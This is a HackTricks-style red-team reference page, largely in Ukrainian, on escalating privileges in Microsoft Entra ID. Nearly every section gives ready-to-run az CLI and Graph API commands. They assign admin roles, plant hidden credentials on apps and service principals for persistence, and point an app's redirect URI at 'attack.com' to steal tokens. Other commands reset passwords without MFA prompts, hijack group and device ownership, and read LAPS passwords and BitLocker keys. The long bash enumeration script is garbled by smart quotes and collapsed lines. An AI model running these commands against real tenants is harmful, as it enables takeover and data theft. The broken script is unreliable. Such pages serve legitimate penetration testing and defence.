Az - EntraID Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Note

Зауважте, що не всі granular permissions, які мають built-in roles в Entra ID, можуть бути використані в custom roles.

Roles

Role: Privileged Role Administrator

Ця роль містить необхідні granular permissions, щоб мати змогу призначати roles principals і надавати roles більше permissions. Обидві дії можуть бути abused для escalation privileges.

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Додайте більше permissions до role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

Це дозволяє атакувальнику додати credentials (паролі або certificates) до наявних applications. Якщо application має privileged permissions, атакувальник може authenticate як це application і отримати ці privileges.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Це дозволяє ті самі дії, що й applications/credentials/update, але в межах single-directory applications.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Додавши себе як owner, attacker може маніпулювати application, включно з credentials і permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Зловмисник може додати redirect URI до applications, які використовуються користувачами tenant, а потім надсилати їм login URLs, що використовують новий redirect URL, щоб вкрасти їхні tokens. Зверніть увагу, що якщо користувач уже був залогінений у application, authentication відбудеться автоматично без необхідності щось підтверджувати.

Зверніть увагу, що також можливо змінити permissions, які application запитує, щоб отримати більше permissions, але в цьому випадку користувачу потрібно буде знову прийняти prompt, який просить надати всі permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

Як пояснено в this post, було дуже поширено знаходити default applications, які мають API permissions типу Application. API Permission (як це називається в Entra ID console) типу Application означає, що application може access the API і виконувати actions без user context (без user login into the app), і без потреби в Entra ID roles, щоб це дозволити. Тому дуже часто можна знайти high privileged applications in every Entra ID tenant.

Потім, якщо attacker має будь-який permission/role, який дозволяє update the credentials (secret o certificate) of the application, attacker може згенерувати new credential і потім використати його, щоб authenticate as the application, отримавши всі permissions, які має application.

Зверніть увагу, що згаданий blog ділиться деякими API permissions поширених Microsoft default applications, однак через деякий час після цього report Microsoft fixed this issue і тепер неможливо login as Microsoft applications anymore. Однак усе ще можливо знайти custom applications with high privileges that could be abused.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Знайти всі API permissions applications і позначити Microsoft-owned APIs ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Це дозволяє атакувальнику додавати credentials до наявних service principals. Якщо service principal має підвищені привілеї, атакувальник може взяти ці привілеї на себе.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Новий згенерований password не з’явиться у web console, тож це може бути stealth-спосіб підтримувати persistence над service principal.
З API їх можна знайти за допомогою: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because it’s not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Це дозволяє атакувальнику додавати credentials до наявних service principals. Якщо service principal має підвищені privileges, атакувальник може перейняти ці privileges.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Так само як і для applications, цей permission дозволяє додавати більше owners до service principal. Володіння service principal дає змогу контролювати його credentials і permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Після додавання нового owner я спробував видалити його, але API відповів, що метод DELETE не підтримується, навіть якщо саме його потрібно використовувати для видалення owner. Тож ти не можеш видаляти owners nowadays.

microsoft.directory/servicePrincipals/disable and enable

These permissions дозволяють disable і enable service principals. Зловмисник може використати цей permission, щоб enable service principal, до якого він зможе якось отримати доступ, і таким чином escalate privileges.

Зверни увагу, що для цієї technique attacker знадобляться додаткові permissions, щоб take over enabled service principal.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Ці permissions дозволяють створювати та отримувати credentials для single sign-on, що може надати доступ до third-party applications.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Groups

microsoft.directory/groups/allProperties/update

Цей permission дозволяє додавати користувачів до privileged groups, що призводить до privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Це дозвіл виключає Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

Цей дозвіл дозволяє стати власником груп. Власник групи може керувати membership і settings групи, потенційно підвищуючи privileges через group.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Примітка: Цей permission виключає Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Цей permission дозволяє додавати members до group. Attacker може додати себе або malicious accounts до privileged groups, що може надати elevated access.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Цей permission дозволяє оновлювати membership rule у dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Note: This permission excludes Entra ID role-assignable groups.

Dynamic Groups Privesc

Може бути можливо для користувачів підвищити привілеї, змінюючи власні властивості, щоб бути доданими як members dynamic groups. Для more info check:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

Цей privilege дозволяє змінювати властивості користувача. Часто можна знайти dynamic groups, які додають користувачів на основі значень властивостей, тому цей permission може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної dynamic group і підвищити privileges.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Неправильно налаштовані conditional access policies, які вимагають MFA, можуть бути bypassed, перевірте:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

Цей permission дозволяє attackers призначати себе власниками devices, щоб отримати control або access до device-specific settings і data.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Цей permission дозволяє attackers пов’язати свій account із devices, щоб отримати access або bypass security policies.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Цей permission дозволяє attackers читати properties резервних credentials local administrator account для Microsoft Entra joined devices, including the password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Цей permission дозволяє отримати доступ до BitLocker keys, що може дозволити attacker розшифрувати drives, compromising data confidentiality.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Інші цікаві permissions (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks